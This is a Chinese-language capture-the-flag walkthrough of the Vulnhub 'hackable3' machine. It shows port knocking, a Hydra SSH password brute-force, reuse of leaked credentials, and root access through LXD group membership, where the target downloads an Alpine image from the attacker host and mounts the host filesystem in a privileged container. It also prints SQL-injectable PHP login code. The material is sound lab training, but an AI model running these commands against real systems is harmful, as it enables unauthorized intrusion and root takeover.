Vulnhub靶机:hackable3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hackable3(10.0.2.53)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hackable-iii,720/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.53

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:22、80

在这里插入图片描述

打开网站未发现可利用的功能点,查看源码发现隐藏信息

“Please, jubiscleudo, don’t forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com”

翻译:“拜托了,jubiscleudo,别忘了在离开你的区域时激活端口敲门,并告诉老板不要忘记批准.jpg文件——dev_suport@hackable3.com”

在这里插入图片描述

根据nmap扫描结果22端口关闭了,应该要使用敲门服务打开22端口

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

使用dirsearch工具对该网站进行目录爆破,对爆破出来的目录和文件都访问一遍

dirsearch -u http://10.0.2.53/

在这里插入图片描述

发现/backup/目录存在一个字典文件

在这里插入图片描述
在这里插入图片描述

发现/config/目录存在一个1.txt文件,里面存在一段被base64加密的数据:MTAwMDA=,解密得到:10000

在这里插入图片描述
在这里插入图片描述

发现/css/目录存在一个2.txt文件,里面存在一段被Brainfuck加密的数据:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,解密得到:4444

在这里插入图片描述
在这里插入图片描述

访问/login.php,发现页面是空白的,查看源码,发现暴露该文件的所有源代码

在这里插入图片描述

?php
include('config.php');$usuario = $_POST['user'];
$senha = $_POST['pass'];$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'";  $result = mysqli_query($conexao, $query);$row = mysqli_num_rows($result);#validação conta
if($row == 1) {$_SESSION['usuario'] = $usuario;header('Location: 3.jpg');exit();
} else {$_SESSION['nao_autenticado'] = true;header('Location: login_page/login.html');exit();
}?

该文件是获取用户名密码登录,登录后返回3.jpg文件,我们直接访问3.jpg,将该图片下载下来,查看是否存在隐写信息

在这里插入图片描述

存在隐写信息:porta:65535

在这里插入图片描述

根据获得端口信息的顺序,进行端口敲门,发现22端口已开放

knock 10.0.2.53 10000 4444 65535                                

在这里插入图片描述

三、漏洞利用

使用得到的用户名:jubiscleudo和密码字典爆破ssh,爆破得到密码:onlymy

hydra -l jubiscleudo -P passwd.txt 10.0.2.53 ssh -t 64

在这里插入图片描述

登录ssh

在这里插入图片描述

四、提权

在靶机上未发现特权命令和可利用的具有root权限的可执行文件

翻一翻靶机各个文件夹,看看有没有可利用的文件或信息

在网站所属目录,发现.backup_config.php

在这里插入图片描述

查看该文件发现一组用户名和密码:hackable_3:TrOLLED_3

在这里插入图片描述

尝试切换为hackable_3用户,切换成功

在这里插入图片描述

id命令查看该用户所属组,发现lxd组,并且靶机lxd,lxc两个二进制文件还存在

在这里插入图片描述

可以尝试lxd提权

攻击机操作:

通过git将构建好的alpine镜像克隆至本地;

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;我这边就使用之前构建好的镜像进行提权。

cd lxd-alpine-builder   
sudo ./build-alpine

在这里插入图片描述

开启apache服务,将tar文件发送至目标设备;

service apache2 start               

靶机操作:

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

在这里插入图片描述

导入镜像并初始化镜像

lxc image import ./alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test
lxd init  #一路回车
lxc init test test -c security.privileged=true 初始化镜像

在这里插入图片描述

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/466026.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【前端web入门第六天】01 CSS浮动

⭐️第六天目标 解决布局问题如多个div标签在同一行的问题 简单来说,就是可以两个标签,一个在左边,另一个在右边. &#x1f449;相关知识 标准流浮动flex布局❗️ ❗️ ❗️ 标准流是先导,浮动和flex布局都可以解决问题,但是浮动在目标开发领域较为落后,主流的解决办法是flex…

【EAI 015】CLIPort: What and Where Pathways for Robotic Manipulation

论文标题&#xff1a;CLIPort: What and Where Pathways for Robotic Manipulation 论文作者&#xff1a;Mohit Shridhar1, Lucas Manuelli, Dieter Fox1 作者单位&#xff1a;University of Washington, NVIDIA 论文原文&#xff1a;https://arxiv.org/abs/2109.12098 论文出处…

数据结构——6.3 图的遍历

6.3 图的遍历 一、概念 图的广度优先遍历 树的广度优先遍历&#xff08;层序遍历&#xff09;&#xff1a;不存在“回路”&#xff0c;搜索相邻的结点时&#xff0c;不可能搜到已经访问过的结点&#xff1a; 若树非空&#xff0c;则根节点入队 若队列非空&#xff0c;队头元素…

docker常用容器命令

首先说下容器&#xff1a; 它是指当docker运行镜像时&#xff0c;创建了一个隔离环境&#xff0c;称之为 容器。 这种方式优点&#xff1a;可以开启多个服务&#xff0c;服务之前是互相隔离的&#xff08;比如&#xff1a;在一台服务器上可以开启多个mysql&#xff0c;可以是…

C#,泰波拿契数(Tribonacci Number)的算法与源代码

1 泰波拿契数&#xff08;Tribonacci Number&#xff09; 泰波拿契数&#xff08;Tribonacci Number&#xff09;是斐波那契的拓展。 泰波拿契数 (Tribonacci Number) 即把费波拿契数 (Fibonacci Number) 的概念推广至三个数。 2 计算结果 3 源程序 using System; namespace…

作业2.12

1、选择题 1.1、以下程序的输出结果是____A____。 main() { int k11,k22,k33,x15; if(!k1) x--; else if(k2) if(k3) x4; else x3; printf(“x%d\n”,x); } A x4 B x15 C x14 D x3 1.2、有以下程序&#xff0c;while循环执行____A____次。 int main&#x…

vulnhub-->hacksudo-Thor靶机详细思路

目录 1. IP探测2.端口服务扫描3.网站漏洞扫描4.目录扫描5.信息分析6.破壳漏洞(Shellshock)nmap---漏洞检测CVE-2014-6271 7.nc反弹8.提权9.service提权 1. IP探测 ┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 19…

Unity性能优化

非原创 &#xff0c;参考文章&#xff1a; 2024 腾讯游戏客户端面经 - 知乎 (zhihu.com) C#篇 1.Unity API GameObject.GetComponent Unity是基于组件的开发方式,所以GetComponent是一个高频使用的函数 每次调用GetComponent 时,Unity都要去遍历所有的组件来找到目标组件…

Qt【一】:Qt3个窗口类的区别、VS与QT项目转换

一、Qt3个窗口类的区别 QMainWindow&#xff1a;包含菜单栏、工具栏、状态栏 QWidget&#xff1a;普通的一个窗口&#xff0c;什么也不包括 QDialog&#xff1a;对话框&#xff0c;常用来做登录窗口、弹出窗口&#xff08;例如设置页面&#xff09; QDialog实现简易登录界面…

【原创 附源码】Flutter安卓及iOS海外登录--Tiktok登录最详细流程

最近接触了几个海外登录的平台&#xff0c;踩了很多坑&#xff0c;也总结了很多东西&#xff0c;决定记录下来给路过的兄弟坐个参考&#xff0c;也留着以后留着回顾。更新时间为2024年2月7日&#xff0c;后续集成方式可能会有变动&#xff0c;所以目前的集成流程仅供参考&#…

【Linux】构建模块

&#x1f525;博客主页&#xff1a;PannLZ &#x1f38b;系列专栏&#xff1a;《Linux系统之路》 &#x1f94a;不要让自己再留有遗憾&#xff0c;加油吧&#xff01; 文章目录 构建第一个模块1模块的makefile2内核树内构建3内核树外构建 构建第一个模块 可以在两个地方构建模…

Python:函数和lambda表达式

函数实质性特定任务的一段代码&#xff0c;程序通过将一段代码定义成函数&#xff0c;并为该函数指定一个函数名&#xff0c;这样即可在需要的时候多次调用这段代码。因此&#xff0c;函数是代码复用的重要手段。 与函数紧密相关的一个知识点就是lambda表达式。lambda表达式可…